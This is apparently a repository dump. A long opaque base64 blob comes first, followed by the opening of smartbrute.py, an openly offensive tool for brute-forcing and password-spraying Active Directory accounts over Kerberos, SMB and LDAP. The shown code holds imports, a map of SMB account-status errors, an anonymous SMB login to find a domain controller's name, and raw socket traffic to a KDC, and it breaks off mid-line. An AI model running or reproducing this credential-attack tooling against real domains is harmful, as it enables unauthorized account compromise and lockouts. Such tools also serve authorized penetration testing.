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 -------------------------------------------------------------------------------- /smartbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : smartbrute.py 4 | # Authors : Shutdown (@_nwodtuhs) & Podalirius (@podalirius_) 5 | # Date created : 16/04/2021 (dd/mm/yyyy) 6 | # Python Version : 3.* 7 | 8 | import argparse 9 | import os 10 | import re 11 | import socket 12 | import random 13 | import ssl 14 | import struct 15 | import datetime 16 | import time 17 | import ldap3 18 | from six import b 19 | from binascii import unhexlify 20 | from ldap3.protocol.formatters.formatters import format_sid 21 | from pyasn1.codec.der import decoder, encoder 22 | from pyasn1.error import PyAsn1Error 23 | from pyasn1.type.univ import noValue, Sequence 24 | from pyasn1.type.useful import GeneralizedTime 25 | from impacket.smbconnection import SMBConnection, SessionError 26 | from impacket.ldap import ldap, ldapasn1 27 | from impacket.ntlm import compute_nthash 28 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech 29 | from impacket.krb5 import constants 30 | from impacket.dcerpc.v5 import scmr 31 | from impacket.dcerpc.v5.transport import SMBTransport 32 | from impacket.krb5.asn1 import AS_REQ, KRB_ERROR, AS_REP, AP_REQ, seq_set_iter, PA_ENC_TS_ENC, EncryptedData, METHOD_DATA, ETYPE_INFO2, ETYPE_INFO, Authenticator, TGS_REP, seq_set 33 | from impacket.krb5.types import KerberosTime, Principal,Ticket 34 | from impacket.krb5.ccache import CCache 35 | from impacket.krb5.crypto import Key, _enctype_table 36 | from impacket.krb5.kerberosv5 import KerberosError, getKerberosTGT, getKerberosTGS 37 | from rich.console import Console 38 | from rich.columns import Columns 39 | from rich import box 40 | from rich.table import Table 41 | from rich.live import Live 42 | try: 43 | from neo4j.v1 import GraphDatabase 44 | except ImportError: 45 | from neo4j import GraphDatabase 46 | from neo4j.exceptions import AuthError, ServiceUnavailable 47 | import warnings 48 | 49 | warnings.filterwarnings("ignore", category=DeprecationWarning) 50 | 51 | # sprahound's global vars 52 | ERROR_SUCCESS = (0, "") 53 | ERROR_NEO4J_NON_EXISTENT_NODE = (102, "Node does not exist in database") 54 | ERROR_NO_PATH = (103, "No admin path from this node") 55 | 56 | smb_error_status = { 57 | "STATUS_ACCOUNT_DISABLED":"disabled", 58 | "STATUS_ACCOUNT_EXPIRED":"expired", 59 | "STATUS_ACCOUNT_RESTRICTION":"STATUS_ACCOUNT_RESTRICTION", 60 | "STATUS_INVALID_LOGON_HOURS":"STATUS_INVALID_LOGON_HOURS", 61 | "STATUS_INVALID_WORKSTATION":"STATUS_INVALID_WORKSTATION", 62 | "STATUS_LOGON_TYPE_NOT_GRANTED":"STATUS_LOGON_TYPE_NOT_GRANTED", 63 | "STATUS_PASSWORD_EXPIRED":"pwd expired", 64 | "STATUS_PASSWORD_MUST_CHANGE":"pwd must change", 65 | "STATUS_ACCESS_DENIED":"access denied" 66 | } 67 | 68 | VERSION="0.1" 69 | 70 | 71 | class KERBEROS(object): 72 | """docstring for Kerberos.""" 73 | 74 | def __init__(self): 75 | super(KERBEROS, self).__init__() 76 | self.salts = {} 77 | self.principal_unknown = [] 78 | self.disabled_account = [] 79 | self.response_to_big = [] 80 | self.server_time = "" 81 | 82 | 83 | def get_machine_name(self, kdc_ip, domain): 84 | if kdc_ip is not None: 85 | s = SMBConnection(kdc_ip, kdc_ip) 86 | else: 87 | s = SMBConnection(domain, domain) 88 | try: 89 | s.login("", "") 90 | except Exception: 91 | if s.getServerName() == "": 92 | raise Exception("Error while anonymous logging into %s" % domain) 93 | else: 94 | s.logoff() 95 | return s.getServerName() 96 | 97 | 98 | def send_receive(self, data, host, kdcHost, tproto): 99 | if kdcHost is None: 100 | targetHost = host 101 | else: 102 | targetHost = kdcHost 103 | if tproto == "tcp": 104 | messageLen = struct.pack("!i", len(data)) 105 | logger.debug("Trying to connect to KDC at %s using TCP" % targetHost) 106 | try: 107 | af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] 108 | s = socket.socket(af, socket.SOCK_STREAM, socket.IPPROTO_TCP) 109 | s.connect(sa) 110 | except socket.error as e: 111 | raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e) 112 | s.sendall(messageLen + data) 113 | recvDataLen = struct.unpack("!i", s.recv(4))[0] 114 | r = s.recv(recvDataLen) 115 | while len(r) < recvDataLen: 116 | r += s.recv(recvDataLen - len(r)) 117 | elif tproto == "udp": 118 | logger.debug("Trying to connect to KDC at %s using UDP" % targetHost) 119 | try: 120 | af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] 121 | s = socket.socket(af, socket.SOCK_DGRAM, socket.IPPROTO_UDP) 122 | s.connect(sa) 123 | except socket.error as e: 124 | raise socket.error("Connection error 